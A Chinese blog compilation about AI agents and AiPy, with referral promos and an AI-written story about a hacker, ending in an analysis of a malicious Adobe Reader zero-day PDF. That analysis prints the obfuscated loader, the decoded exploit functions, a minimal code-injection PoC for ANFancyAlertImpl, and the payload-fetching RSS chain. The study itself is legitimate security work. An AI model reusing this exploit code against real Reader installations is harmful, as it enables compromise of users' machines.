在上一篇文章 《罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking》https://mp.weixin.qq.com/s/D4bAcI3TN4b_cEhk-aftNQ 提到的另外一个“ah moment”其实就是指漏洞挖掘的模型分水岭出现了～ 今天看到两篇文章

介绍微软用他们的智能体 MDASH（multi-model agentic scanning harness），编排 100+ specialized AI agents，并称其在公开 CyberGym benchmark 上拿到 88.45% 并且在他们内部发现了多个tcpip.sys的RCE：

https://www.geekwire.com/2026/microsofts-multi-agent-ai-system-tops-anthropics-mythos-on-cybersecurity-benchmark/

https://www.microsoft.com/en-us/security/blog/2026/05/12/defense-at-ai-speed-microsofts-new-multi-model-agentic-security-system-tops-leading-industry-benchmark/

跳转微信打开

图片有aipy +Image2绘图大师智能体生成

这篇文章按道理早应该写了，只是最近一直沉迷于Vibe Working，所以就一拖再拖，AI时代如果实现了大模型自由（不仅仅是Tokens自由）你会发现可能会进入一个全新的“ah moment” 而我觉得这段时间正好处于我感受到的又一个“ah moment”，前一个感受当然就是AiPy最新出来的时候 ...

2周前，曾经的“天才少女”罗福莉最新的采访视频发布：

https://www.youtube.com/watch?v=V9eI-t3TApE

https://www.bilibili.com/video/BV1iVoVBgERD/

这个采访视频时长有3.5个小时，发布之后还是引起不少的关注，不过可能很多人都没有完整看完视频，没有看的可以看看，也看去看看对应文字记录梳理版 如：

https://mp.weixin.qq.com/s/ePslW5QYP6rvx_C3qF0IEQ

引起关注的主要是前半部分，罗福莉聊OpenClaw的那段：大体上是说她一开始是“排斥”的，然后在春节放假期间，奔着闲着的时候带着“为什么OpenClaw那么火的”的疑问，真正体验了下，然后感受到“兴奋”，“在产品设计上超过想象”，到真正感受到为自己“干活”而兴奋，最终也引起了她对新模型训练等上的一些思考 ...

泛化

说实话，如果你看过我之前的文章，我“碰瓷”过卡帕西（Andrej Karpathy），也“碰瓷”过尧舜禹（姚顺雨）的一些采访和观点，相比之前这些我对罗福莉的这些观点没有特别大的那种所谓“共鸣”，因为我感觉她这些感受，在我的体验上看，早在1年+之前 我们AiPy诞生的时刻，就已经感受过了，所以到后面Claude Code 到 Openclaw 再到 Hermes 其实没太大的“啊哈 moment”的感受，我想很多早期一开始体验过AiPy的可能都有我这个感受 ... 当然比较可惜的我们覆盖度不够大

在罗福莉的采访里提到了她对Claude Code到Openclaw的时候，提到了她在OpenClaw上有很多感受是在Claude Code使用上没有体验到的，当然她也说了很多能力实现其实Claude Code就是具备的，比如 记忆 、不用考虑模型适配等等，而这些其实就是我当时我们总工LGX第一次发给我AiPy（参考《【Agents/MCP可能不存在了】No Agents, Just Python-use！》）的时候体验是“一模一样的”，而当时最开始LGX在公司群里第一次介绍aipy的时候的疑问这个跟Cursor有什么区别，有Cursor也一样能干活，而真正用上AiPy的时候才能真正感觉还是不一样， 还有一点就是罗福莉访谈里也提到了Code泛化的问题，她在使用Claude Code虽然觉得 Claude Code也除了IDE外也确实可以依赖Code泛化能力去进行Work，但是这OpenClaw让他感受了更强大的听过Code实现了Work的泛化，这个也是是她觉得Openclaw这种Agent框架带来的优势。

而在我看来这个其实就是Vibe Coding 与 Vibe Working 这两个概念的区别，当时卡帕西的Vibe Coding火了后，很多人@我说，AiPy不就是吗？其实那个时候我觉得不完全是，一直到跟我们CEO IC聊的是时候，提到Vibe Work这个词 才有恍然一亮的感觉（参考《从 Vibe Coding 到 Vibe Working》）

罗福莉 在采访里还有提到的一个点，就是Agent框架能弥补模型本身缺失的能力，其实这个问题我之前在 

我其实在这里“钻个牛角尖”，跟他原本的想表达的观点可能没啥太大的关系，比如 9.8 vs 9.11谁大的问题 或者草莓那个单词有几个r的问题，如果这个用纯模型去训练解决，感觉也让很多的模型基础研究头疼的问题，要不然GPT好几个模型都没有很好解决，反过来如果用Agent的方式，我直接用代码一下就算出来了， 哪个数字大、统计草莓里多个r，非常简单而且正确

https://weibo.com/2783938821/QmOtFrrrT

里就用了 “9.8 vs 9.11 谁大”、“草莓单词有几个r”的例子就感受到了Agent其实是非常好去解决这种问题，而解决方法就是通过Code泛化去解决，直接计算一下上面的答案就非常准确，而从模型角度去真正“解决”估计会非常麻烦，毕竟GPT本身原理是预测概率。而这些其实都是非常时候Agent的场景，这里也可以顺带例举前面我在朋友圈分享的一个例子

这个是2024年的一个ppt，当时还是比较流行RAG，实际上我当时就用Agent的方式去替代RAG，因为相比RAG的通过向量化的成功率远不如一个Agent调用一个API出来的数据高效并准确可靠，当然那个时候这种方式比较适合能结构化数据，不过到现在非结构的话的基本上也开始使用Agent的模式了 比如前面很火的karpathy是那个wiki 

https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f

还有这几天比较火的 

https://github.com/VectifyAI/PageIndex

 这个我也Vibe到我本地AiPy分支里 效果还是非常不错的

我们回到罗福莉的采访，可能也是上面提到的她在采访里提到的“Agent框架能弥补模型本身缺失的能力”这个观点，导致很多在我看来很片面的解读，比如《罗福莉：AI 的范式变了，框架比模型更重要》

https://x.com/Bill_Do_A_Bit/status/2048382197363814573

实际上她在采访里出来就没说过这个结论，她实际在意的是Chat时代到Agent的时代的转变，也就是说“训Chat”模型转为模型怎么“训Agent”，而这点就是我在《AI Agent 下半场》文章里提到的观点。

所以在我看来，罗福莉访谈真正有价值的地方，不是证明 OpenClaw 多么神，也不是证明框架压过模型，而是让更多人意识到：AI 正在从 Chat 时代进入 Agent 时代。模型能力开始进入真实环境，开始和代码、工具、记忆、Skills、Workflow、后训练、权限系统、环境反馈融合成一个新的执行系统。

这个系统，我更愿意称之为 Agent Runtime。也可以用我之前反复说的那句话来概括：《2026 AI Agent 的核心：Context Engineering，让环境可计算化》。

蒸馏

这里先说明一下，我说的“蒸馏”，不是传统机器学习里模型训练阶段的 Knowledge Distillation，也不是前面比较流行的类似于女娲skill/同事skill这种“蒸馏”（当然AiPy上还有一个蒸馏出黑哥的Skill）

我这里想讲的，是对“蒸馏”这个概念的进一步泛化。可以理解为把高端模型在完成复杂任务时表现出来的关键能力进行提炼，包括：任务拆解方式、上下文组织方式、工具调用顺序、验证与反馈机制、失败后的修正路径、中间产物的结构化表达、判断标准与检查清单 等等，然后把这些能力沉淀进一个可执行、可观测、可反馈的 Harness 里。这样，中低端模型即使本身能力不如高端模型，也可以借助 Harness 中预先设计好的任务结构、执行路径、工具链和验证环节，更稳定地完成原本只有高端模型才能做好的任务。

在罗福莉的访谈里提到了她在用OpenClaw的的时候，她对她进行了优化改进，并且发现通过这类Agent的“精细化的Context调用”及Skills等的应用让中端模型实现与高端模型（claude 4.6）对标的效果，当然她强调了了1T参数模型的入场券门槛，这些其实侧面说明了她不是再说“框架比模型重要”。当然后面主持人也提到后面小米也了对应Claw，不过显然对她更大的启示还是上面已经说过在训模型角度的转变。

那这里提到中端模型通过一些模型之外的Harness框架工程，达到了类Claude 4.6的效果，这其实就是我上面提到的泛化版“蒸馏”。

其实在我在《AI Agent 下半场》里提到的 ：

“下半场”范式：自动总结生成 Skills并分发  

的部分最佳实践效果是：用高端模型去完成任务并自动总结对应的Skills然后提供给中低端模型使用，在后面的案例文《使用Zoomeye 和 AiPy 捕获 Coruna 样本》 其实就提到了这个“套路”的实战，用Gemini/Codex的模型能力实现后，提炼Skills，应用到国产模型上，效果是非常显著的。

这里也顺带提一句在，也就是我上面提到的 Skill自循环 这个在后面看到的 Hermes 里都有实现参考：

https://mp.weixin.qq.com/s/R8r4WSi1eEh0r0Uwxo_5dA 

当然我本地AiPy也实现了

对于AiPy来说，我们主力模型其实一直都是国内模型，相比Manus同期的Agent那时候是完全依赖Claude的模型效果的（那时候应该还是在3.5～3.7），而AiPy一直在针对工程模型上做最大的体验效果（当然你要接国外顶级模型也是完全可以的只是得手工配置下或者使用我们AiPy的海外版），所以很多时候收到用户反馈说，体验很多各种Claw后发现还是AiPy最能真正干活，可能也就是这么个原因。

当然我这里说Harness框架工程给带来的模型落地效果的增益，这个是跟罗福莉观点是一致的，在不久后这种自进化的可能不只是Skill，Agent的框架等都可自进化，框架应该应该高端与模型“耦合”，把框架自身的各种接口开放给模型，让模型接管一切～～ 这个有点让我想起了当年我推荐过的一个项目ELL：

https://github.com/madcowd/ell

 也是唯一一个我推荐但是没有那么火的项目。不过最近看到一个TS框架项目也是有那么点味道 ：

https://github.com/withastro/flue

不过我觉得可能ell这种项目不火，但是这些理念可能会慢慢融合到新的框架设计中。

视角

在前面我们讨论很多人片面解读罗福莉访谈的一些观点的时候，其实跟视角相关，比如 《罗福莉：AI 的范式变了，框架比模型更重要》可能代表的是第三方Agent开发的视角，而 罗福莉 自己更多是一个基础模型研究视角，这个是跟她本身的研究领域方向是相关的，所以导致这她相对“后知后觉”模型训练从Chat模式转Agent模式，而实际上现在线上的那些模型的Chat服务，早就不是一个单一的模型了，而是一个内化的Agent的互联网模式框架产品，也就是类Manus这类的云端的产品。当然在她的访谈里也提到模型会结合Deep research这种单一功能的智能体，觉得很简单，并没有太多纠结的地方，直到OpenClaw的体验经历带来的改变。

这里其实是有几个视角：

第三方Agent开发视角

模型厂商视角

这些其实在我以往的文章里都涉及到，而我更多的使用“环境”视角或者说“数据”视角，如果简单粗暴点 分云端 和 本地 ，就像我之前文章里提到过的 “Manus这种云端Agent都会被模型厂商产品内化”

于是我把我写的这些文章、罗福莉访谈、包括上面批判的《罗福莉：AI 的范式变了，框架比模型更重要》文章都发模型，最终通过GPT-Image-2模型给我生成下图

开源

罗福莉在聊到“为什么不是 Claude Code？”有原因之一把它归结到OpenClaw是开源，而Claude Code不开源，其实对于OpenClaw的火我认为是一个综合因素，开源可能是中间的一个因素环节，当然她也提到Claude Code 的设计是 for 软件工程的，这个也就是我上面提到过了 Vibe-Coding VS Vibe-Working的问题。 

简单来说她认为：

Claude Code 是：

模型强 + 产品封装强 + 闭源内部迭代。

OpenClaw 是：

框架开放 + 用户可改 + 社区可贡献 + 模型也能参与改造。

她这里强调的是开源可以带来“群体智慧”，实现：代码 + Skills + Memory + Workflow + Context + 使用反馈 + 人类经验 的共同演化。 

对于开源的态度我其实是非常认同的，在前面参加腾讯云主办的AI Agent安全渗透智能体比赛采访的时候就聊到的这个话题

我甚至觉得，LLM 时代的开源社区玩法，还要再往前一步。传统开源的核心动作是 PR：大家围着一个官方版本贡献代码，等待 maintainer 合并。

但 Agent 时代的核心动作，可能会变成 Vibe Forking：每个人都可以基于别人的 Agent、Skills、Workflow、Memory、工具接口和任务经验，直接 Fork 出一个属于自己的 DIY 版本。你喜欢我的版本，就直接用。你不喜欢，也不用争论谁对谁错，直接拿走你觉得有价值的部分，让大模型帮你按照自己的环境、数据、习惯、审美和工作流重新 vibe 一遍。

改出来的版本如果更适合你，就自己用；如果更好，就发布出来。别人再基于你的版本继续 Fork、继续改、继续 vibe PK。这就是所谓的 Vibe Forking ...

它不是传统意义上的 fork 一个仓库、改几行代码、提交 PR；而是把别人的“做事方式”fork 过来，再用大模型改造成适合自己的生产力系统。在这个时代，人人都是开发者，人人都是产品经理，人人都是自己的 Agent maintainer。

每个人都可以拥有自己的 Agent 版本、自己的 Skills 组合、自己的 Workflow、自己的 Memory 结构、自己的工具接口。

传统开源开的是代码，模型时代开的是权重，而 Agent 时代真正要开的，是可运行的人类经验。

--------

如果有人想体验文中开头插图效果请移步

章鱼哥 AiPy 下载: https://www.aipyaipy.com/?referral=aipy_sE5B

找到image2 绘图大师 智能体 体验最强的生图模型GPT-Image-2

跳转微信打开

我的父亲是黑客。这名号，在益阳小城的弄堂里传了许多年，弄堂口的青石板被雨浸得发黑，住着的都是些靠手艺吃饭的人，哪见过这号人物。起初总有人怕，说他是偷那铜钿的贼，或是破人家门户的强盗，谁家丢了半篮鸡蛋，也要斜着眼睛往我家这边望。后来渐渐知道，他偷的不是财物，是那高墙里藏着的秘密，破的不是门户，是人家画地为牢的规矩。这才把悬了许久的心放下，却依旧不远不近地站着，不肯走近。

我总见他坐在那昏黄电灯底下，窗外是弄堂里卖宵夜的吆喝声，蚊群绕着灯泡打旋。十指在键盘上翻飞，像一个老裁缝在缝补一件千疮百孔的袍子，指节因为常年敲击而凸起，像江边浸了水的鹅卵石。屏幕上是密密麻麻的字符，蓝幽幽的光映得他半边脸发青，旁人看去只觉得杂乱，他却看得清经纬——哪里有缺口，哪里有暗门，哪里藏着见不得光的勾当。夜深人静时，忽然听见他低低地笑一声，那笑声里没有欢喜，只像挖到了什么脏东西，捏着鼻子要拎出来似的。第二天那纸张打印机里吐出，上面便都是些见不得光的账目和人名，有人说这是歪门邪道，我却见他把那些见不得光的抖出来，晒在太阳底下，任蚊虫蝇蛆乱爬，也任世人来看。

小城的人终究是不懂的。走在街上，便有人在背后指指点点，说这男人原是有机会的，在市医院做过外科医生，手术刀使得稳当，好好的医生不做，偏要去做这闯墙挖洞的营生。也有穿西装的人寻到弄堂里来，皮鞋把青石板踩得噔噔响，递过黄澄澄的铜钿来，叫他去挖些人家的隐私，或是破了对手的门户，许他事成之后还有重谢。父亲总是冷笑着推开，那笑声直教人脸上挂不住，客人只好讪讪地收了钱包走。门关上后，他才说，我挖的是高墙，不是破篱笆，打的是吃人的豺狼，不是抢米的老鼠。我那时候还小，听不懂这话里的意思，只看见他把桌上的钱推得很远，像推开一堆脏东西。

这许多年过去了，小城也变了模样，弄堂口盖起了高楼，从前卖宵夜的摊子换成了闪着霓虹灯的网吧。父亲的头发白了，头顶也秃了一块，手指也不如从前灵便，逢着天阴下雨便要发麻，那键盘上磨出的凹槽，却还清晰得很，是几十年指尖磨出来的印记。如今街上的年轻人都说自己是黑客，可他们不再像父亲这般，一点一点摸索缺口，一寸一寸试探暗门，只消对着那银盒般的AI说上几句话，代码便自己流出来，漏洞也自动找出来。他们说这才是新时代的黑客，手敲键盘的古法手艺，早该进博物馆了。

父亲只是坐在门口那把旧藤椅上，藤椅被他坐得发亮，一摇便吱呀一声响。他端一杯粗茶，茶叶是城郊山上自己采的，有些涩，却耐泡。看着街上年轻人来来去去，热闹得很，他不说一句话，只把茶碗端在手里，看茶叶在水里慢慢沉下去。我有时整理他的旧物，翻出一叠叠打印纸，上面是他亲手写的注释，红笔蓝笔勾画出一条条路径，像老猎人在深山里留下的脚印。每一个字符都是他一个个试出来的，每一个漏洞都是他一天天蹲出来的，这手艺里藏着他的性子——慢慢来，找缝隙，不轻信，不放弃。

我问他，如今AI都把挖洞编程替了，你这古法黑客，还有什么用呢。他把茶碗在桌子上一顿，茶溅出几滴，落在木纹里，很快便渗了进去。说AI能找出千万个漏洞，可它分不出哪道墙后面吃着人，哪扇门后面藏着冤，哪块石头下面压着不能见天日的东西。它能写出百万行代码，可它没有几十年磨出来的这双眼睛，看不见高墙背后人心的黑暗。我们这一行，哪里是和机器打交道，分明是和人心打交道。说完便咳嗽起来，因为烟抽得多，肺里总有痰咳不干净，咳得肩膀都抖起来。窗外的夕阳斜斜照进来，把他的影子拉得很长，投在墙上，像一道不肯倒下的门。

我这才渐渐明白，父亲这一辈子，就是个古法手艺人。他用键盘做凿子，用字符做云梯，挖了一辈子别人砌的高墙。如今凿子旧了，云梯也松了，可他站在那里，就是一道门。门开着，光就能进来。

注：文章为AiPy生成（提示词仿鲁迅风格，另文章里面的地点身份是AiPy根据记忆生成），图为GPT-image-2根据文章内容生成，风格为：

一张极简风格插画，画面主体是【主体/物体】。使用干净纤细的线条描绘轮廓与结构，整体以黑白或低饱和色为主，只在局部加入少量鲜明色彩作为视觉重点。画面有大量留白，构图精致克制，现代杂志编辑插画风格，优雅、简洁、高级。不要复杂背景，不要写实摄影，不要厚重阴影，不要过多装饰。

https://x.com/dotey/status/2049691392364916875

致敬古典黑客～ 

给你推荐【爱派AiPy-章鱼哥】AI助手软件，不用懂技术，只要会打字，它就能替你干活。

编EXE软件、写小说、分析复杂数据、处理文档、做教育课件、生成PPT、控制浏览器爬数据都可以。

现在使用我给你的链接下载安装注册，就能获得 ¥25.0元 的免费额度：

https://www.aipyaipy.com/?referral=aipy_sE5B

跳转微信打开

前言 马三同志一直告诫我们老同志不要那么卷，其实我也觉得老同志还在做这种漏洞分析是不太合适的，但是实在是

前言

    马三同志一直告诫我们老同志不要那么卷，其实我也觉得老同志还在做这种漏洞分析是不太合适的，但是实在是没办法，忍不住～～

一、分析对象

也就是样本来源：

https://bazaar.abuse.ch/download/54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f/

二、分析

这个pdf没有经过压缩处理，直接可以看原始的pdf结构的代码，使用文本编辑器打开就行，先找到：

11 0 obj
<< /Names [ (PrintReport_54) << /JS (app.t = app["s"+\({}+[]\)[[+!+[]]+[+!+[]]]+"tTim"+\({}+[]\)[[+!+[]]+[+!+[]]]+"Out"]\(util["str"+\(!+[]/+[]+[]\)[!+[]+!+[]+!+[]]+"ngFromStr"+\({}+[]\)[[+!+[]]+[+!+[]]]+\(+{}+[]\)[+!+[]]+"m"]\(SOAP["stre"+\(+{}+[]\)[+!+[]]+"mD"+\({}+[]\)[[+!+[]]+[+!+[]]]+"cod"+\({}+[]\)[[+!+[]]+[+!+[]]]]\(util["str"+\({}+[]\)[[+!+[]]+[+!+[]]]+\(+{}+[]\)[+!+[]]+"mFromStr"+\(!+[]/+[]+[]\)[!+[]+!+[]+!+[]]+"ng"]\(getField\(\({}+[]\)[!+[]+!+[]]+\(!![]+[]\)[+[]]+\([][[]]+[]\)[+!+[]]+\(+!+[]+[]\)\)["v"+\(+{}+[]\)[+!+[]]+\(![]+[]\)[!+[]+!+[]]+"ue"]\), \({}+[]\)[!+[]+!+[]]+\(+{}+[]\)[+!+[]]+\(![]+[]\)[!+[]+!+[]+!+[]]+\({}+[]\)[[+!+[]]+[+!+[]]]+\(!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+[]\)+\(!+[]+!+[]+!+[]+!+[]+[]\)\)\), 500\);) /S /JavaScript >> ] >>
endobj

现在居然还用这种，想当年也是看这这种写法被折腾出来的，现在有大模型了，很简单了：

app.t = app.setTimeOut(util.stringFromStream(SOAP.streamDecode(util.streamFromString(getField("btn1").value),"base64")),500);

其实我觉得在恶意操作里用这种方式是非常sb的事情，你想啊哪里有正常人去折腾写这么个代码呢？（当然喜欢装x的除外！问题是现在这么多年过去了用这个也不好装了吧）

上面这个代码就很好理解了，在getField("btn1").value 对应的obj的里值 base64编码的就是恶意代码里，找下"btn1" 就能找到：

9 0 obj
[ << /FT /Btn /P 5 0 R /Rect [ 0 0 0 0 ] /Subtype /Widget /T (btn1) /Type /Annot /V /dmFyIGEwXzB4NDcxZWZmPWEwXzB4MjNjMjsoZnVuY3Rpb24oX...
>> ]
endobj

一个小坑

把上面pdf里这个“base64编码”的字符串cp出来，当然这个过程你也可以AiPy等智能体直接操作，然后解码你会发现一个问题，解码不完整，后面还有一坨了乱码。

用AiPy调用模型，发现里面有#，这个肯定在base64里是不正常的，然后把这个# 处理掉后，解码出了大部分的逻辑，但是中间还是有一段乱码！

最后通过ChatGPT 分析了下，是 #2f 导致的问题，#2f --> / 然后在pdf函数处理 getField("btn1").value 取值会把 #2f 还原为 /  所以在攻击样本了完全没问题的

这个是一个小坑，不知道是不是攻击者故意的还是无意的，但是这个小坑难到了很多的大模型Agent，而ChatGPT调用的GPT5.4 毫无压力基本上是直接就给出了。

可读

base64完美解码后的代码，很明显就是混淆压缩过的，完全不存在可读性，直接AiPy给出了完美的可读版本的js

三 漏洞根因

这个样本最早是lihaifei的EXPMON抓到的 

https://justhaifei1.blogspot.com/2026/04/expmon-detected-sophisticated-zero-day-adobe-reader.html

然后在很多关注恶意样本分析的人和公司都做了跟进分析，比较好：

https://gist.github.com/N3mes1s/9e55e8d781235ee256d5b3f6720222dd 

https://www.joesandbox.com/joereverser/analysis/download/dcd9f8ca-e3d0-49f1-8f94-9cc76acdce88?type=html

可惜的是，都没有关注到漏洞本身的分析，对于这种WSL风格的漏洞，那么多年过去了我还是比较感兴趣的。核心漏洞代码（来源于AiPy生成可读版）：

/**
 * 漏洞利用主函数
 */
global.reindeer = () => {
    global.exec = function(func, context, args) {
        try {
            stream = {
                'read': app.importDataObject['getDataObject'](app, args[0])
            };
            ob = {
                'getFullName': SOAP['operation']['invoke'](SOAP, stream)
            };
            Object.prototype.__defineGetter__('swConn', () => {
                return ob;
            });
            data = { 'WT': '' };
            this.__defineGetter__('isDocReadOnly', false);
            pwnobj = {
                'lastIndexOf': SilentDocCenterLogin['invoke'](app, data, {}),
                'substring': () => { throw Error(''); }
            };
            this.__defineGetter__('path', () => {
                return pwnobj;
            });
            ANShareFile({ 'doc': eval('this') });
        } catch (e) {}
    };
};
// ============================================================================
// 第四部分：攻击执行流程
// ============================================================================
// 触发漏洞利用的按钮配置
var buttons = {
    'a(a(a\'); }); global.reindeer(); throw Error(\'oops\'); //': 0x0
};
try {
    ANFancyAlertImpl('', [], 0x0, buttons, 0x0, 0x0, 0x0, 0x0, 0x0);
} catch (e) {}
// 清理原型链污染
delete Object.prototype.swConn;
// 执行漏洞利用函数
global.exec(global.trustedFunction);
global.deer(global.deer);
global.exec(global.getOS);
global.exec(global.isReader64bit);
global.exec(global.getProdVersionString);

所以真正的漏洞的根因应该是：

var buttons = {
    'a(a(a\'); }); global.reindeer(); throw Error(\'oops\'); //': 0x0
};
try {
    ANFancyAlertImpl('', [], 0x0, buttons, 0x0, 0x0, 0x0, 0x0, 0x0);
} catch (e) {}

以我几十年脚本小子的经验告诉我，这个buttons 存在代码注入的问题，为了看ANFancyAlertImpl这个函数到底是怎么实现的，我不得不启动了2018年跟着Swan师傅搞pdf Fuzzing的虚拟机...

其实要看ANFancyAlertImpl()代码非常简单，做个简单原始格式的pdf（如果嫌弃麻烦你用大模型帮你生成一个），然后加入JS的obj执行：

console.show();
console.println(ANFancyAlertImpl);

你就可以看到ANFancyAlertImpl函数的代码了：

function ANFancyAlertImpl(title, content, tip, buttons, dontShowMeAgain, ok, cancel, other, width)
	{
		var alertWidth = width ? width : Collab.AlertWithHelpWidth ;
		// skeletal layout description
		var desc = {
			content: content,
			dontShowMeAgain: dontShowMeAgain
		};
		// content eelment array
		var ca = [];
		// for each "content" element
		for(var i in content)
		{
			var cc = content[i];
			var cid = "icn" + i;
			var item = [];
			var header = undefined;
			if(cc.header)
				header = {
					type: "static_text",
					name: cc.header,
					font: "dialog",
					bold: true,
					alignment: "align_fill"
				};
			// maybe add a bullet
			if(cc.bullet)
				item[item.length] = 
					{
						type: "static_text",
						name: "\u2022"
					};
			// maybe add an icon
			if(cc.icon)
				item[item.length] = 
					{
						type: "image",
						item_id: cid,
						width: cc.icon.width,
						height: cc.icon.height
					};
			// throw them all into a row view
			var mlse = cc.text ? ANCreateMLSElement(cc.text, { diff: [ alertWidth, (cc.icon ? cc.icon.width : { zstring_width: "\u2022" }) ] }) : [];
			ca[ca.length] = {
				type: "view",
				align_children: "align_row",
				elements:
					item.concat(header ? 
					[{
						type: "view",
						align_children: "align_left",
						alignment: "align_fill",
						elements: [ header ].concat([mlse])
					}] : [mlse])
			};
		}
		// add a tip if appropriate
		if(tip)
		{
			var te = ANCreateTipElements(tip, alertWidth);
			ca = ca.concat(te);
		}
		var ba = [];
		// add a bunch of buttons into an element array
		for(var i in buttons)
		{
			var bc = buttons[i];
			var bid = "btn" + i;
			ba[ba.length] = {
				type: "button",
				item_id: bid,
				name: bc,
				alignment: "align_right"
			};
			// throw a handler for the button in
			desc[bid] = eval("(function(dialog) { dialog.end('" + bid + "'); })");
		}
		// basic buttons
		if(ok && cancel && other)
		{
			ba[ba.length] = {
				type: "ok_cancel_other",
				ok_name: ok,
				cancel_name: cancel,
				other_name: other,
				alignment: "align_right"
			}
		}
		else if(ok && cancel)
		{
			ba[ba.length] = {
				type: "ok_cancel",
				ok_name: ok,
				cancel_name: cancel,
				alignment: "align_right"
			}
		}
		else if(ok)
		{
			ba[ba.length] = {
				type: "ok",
				ok_name: ok,
				alignment: "align_right"
			}
		}
		// add the buttons into the larger desc
		ca[ca.length] = {
			type: "view",
			align_children: "align_row",
			elements: (dontShowMeAgain ? [
				{
					type: "check_box",
					item_id: "dsma",
					name: (dontShowMeAgain.label ? dontShowMeAgain.label : AnnotsString.IDS_DONT_SHOW_AGAIN),
					alignment: "align_left"
				}
			] : [])
		};
		ca[ca.length] = {
			type: "view",
			align_children: "align_row",
			alignment: "align_right",
			elements: ([]).concat(ba)
		};
		// add an init method to set up icons
		desc.initialize = function(dialog)
		{
			var il = {
				tip1: "C_Info_Xl_N.png",
				dsma: this.dontShowMeAgain ? this.dontShowMeAgain.pref : false
			};
			for(var i in this.content)
			{
				var cc = this.content[i];
				if(cc.icon)
					il["icn" + i] = cc.icon;
			}
			dialog.load(il);
		};
		// store any change to the don't show me again
		desc.commit = function(dialog)
		{
			if (typeof this.dontShowMeAgain != "undefined")
				this.dontShowMeAgain.pref = dialog.store()["dsma"];
			return true;
		};
		// handle the "other" click
		desc.other = function(dialog) { dialog.end("other"); }
		// full description
		desc.description = {
			name: title,
			elements: [
				{
					type: "view",
					align_children: "align_left",
					elements: ca
				}
			]
		};
		app.beginPriv();
		var result = app.execDialog(desc);
		app.endPriv();
		return result;
	}

所以代码注入点：

		// add a bunch of buttons into an element array
		for(var i in buttons)
		{
			var bc = buttons[i];
			var bid = "btn" + i;
			ba[ba.length] = {
				type: "button",
				item_id: bid,
				name: bc,
				alignment: "align_right"
			};
			// throw a handler for the button in
			desc[bid] = eval("(function(dialog) { dialog.end('" + bid + "'); })");
		}

很经典的代码，早年玩PHP的人估计对这个循环很眼熟，这里注入的是 var buttons = {"x'": 1}; 这个对象名，而不是值。

所以漏洞根因POC

buttons = {"(('); }); app.alert(1);//": 0x0};
ANFancyAlertImpl("", [], 0, buttons, 0, 0, 0, 0, 0);

又一个小坑

只是让我非常奇怪的是：((' 需要(( 按我之前的JS的经验应该//就不用考虑后面的((的闭合了，于是我问了下大模型，Gemini告诉我这个是 ：

2. Acrobat 的“愚蠢”预处理器 (Naive Scanner)Acrobat 的底层 C++ 在处理这段 eval 时，为了安全或内部解析的需要，会先使用一个**粗糙的括号计数器（Depth Counter）**来尝试提取这段被括号包裹的表达式 (function(...) { ... })。

其实我看到这个还不是很理解，随即咨询了swan师傅，他让我测试下：

buttons = {"((('); }); app.alert(1);//)": 0x0};

就明白了，注意上面(((' 是三个，然后我在//后面加个) 所以就对上计数了，所以Gemini的回答其实值说了一半，需要对其原有的，也即是

desc[bid] = eval("(function(dialog) { dialog.end('" + bid + "'); })");

这个在bid注入后 注释掉的还有两个)) 还真是“愚蠢”的Acrobat～～～

原型污染

按上面的分析这个漏洞的根本原因是出在ANFancyAlertImpl 这个函数里的buttons存在代码注入导致的，而在官方的公告：https://helpx.adobe.com/security/products/acrobat/apsb26-43.html 写的是：

Vulnerability Category: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (CWE-1321)

后面我仔细看了下，官方可能把视角放在了，攻击样本里global.reindeer函数上

global.reindeer = () => {
    global.exec = function(func, context, args) {
        try {
            stream = {
                'read': app.importDataObject['getDataObject'](app, args[0])
            };
            ob = {
                'getFullName': SOAP['operation']['invoke'](SOAP, stream)
            };
            Object.prototype.__defineGetter__('swConn', () => {
                return ob;
            });
            data = { 'WT': '' };
            this.__defineGetter__('isDocReadOnly', false);
            pwnobj = {
                'lastIndexOf': SilentDocCenterLogin['invoke'](app, data, {}),
                'substring': () => { throw Error(''); }
            };
            this.__defineGetter__('path', () => {
                return pwnobj;
            });
            ANShareFile({ 'doc': eval('this') });
        } catch (e) {}
    };
};

不得不说这个函数写得还是非常巧妙的，里面涉及到所谓的原型污染应该是说：

Object.prototype.__defineGetter__('swConn', () => {
                return ob;
            });

其实我当时看这种写法在XSS等场景利用是非常常见的，以这个来定义这个漏洞还是那么点奇怪，比较在漏洞角度，这个算是利用的一个tips了，人口还是在ANFancyAlertImpl

缺失的漏洞链

上面的分析的样本及分析来看表现出来的利用就是信息收集，通过读取本地文件来取定OS版本信息等，这个是由于在整个攻击链里还少了一个环节：

/**
 * 检查函数 - 用于验证和执行恶意载荷
 */
function check() {
    if (global.bird0 != undefined && global.bird1 != undefined) {
        app.clearInterval(global.tmp2);
        global.doc = eval('this');
        // 解密恶意载荷
        var encryptedBytes = aesjs.utils.hex.toBytes(global.bird1);
        var aesCtr = new aesjs.ctr(global.bird0, new aesjs.Counter(1));
        var decryptedBytes = aesCtr.decrypt(encryptedBytes);
        var decryptedText = '';
        for (var i = 0; i < decryptedBytes.length; i++) {
            decryptedText += String.fromCharCode(decryptedBytes[i]);
        }
        global.bird0 = undefined;
        global.bird1 = undefined;
        // 解压并执行
        global.final_js = zip_inflate(decryptedText);
        global.tmp1 = app.setTimeOut('eval(global.final_js);', 500);
        global.tmp2 = app.setTimeOut('removeFeeds();', 2000);
    } else {
        global.tmp1 += 1;
        if (global.tmp1 > 0x50) {
            app.clearInterval(global.tmp2);
            try {
                global.trustedFunction(RSS, RSS.removeFeed, [dog1]);
            } catch (e) {}
            try {
                global.trustedFunction(RSS, RSS.removeFeed, [dog2]);
            } catch (e) {}
        }
    }
}

就是这个check()函数里 最终会执行：

global.tmp1 = app.setTimeOut('eval(global.final_js);', 500);

而global.final_js 目前还没有人给出来具体的信息及代码，那么我们继续看看这个check()函数的调用：

function startup() {
    try {
        global.trustedFunction(RSS, RSS.addFeed, [dog1]);
    } catch (e) {}
    try {
        global.trustedFunction(RSS, RSS.addFeed, [dog2]);
    } catch (e) {}
    try {
        global.trustedFunction(RSS, RSS.subscribe, [{ 'cURL': dog2, 'bPersistent': false, 'cType': 'JS' }]);
    } catch (e) {}
    try {
        global.trustedFunction(RSS, RSS.subscribe, [{ 'cURL': dog1, 'bPersistent': false, 'cType': 'JS' }]);
    } catch (e) {}
    global.tmp2 = app.setInterval('check()', 500);
}
// 启动攻击
startup();

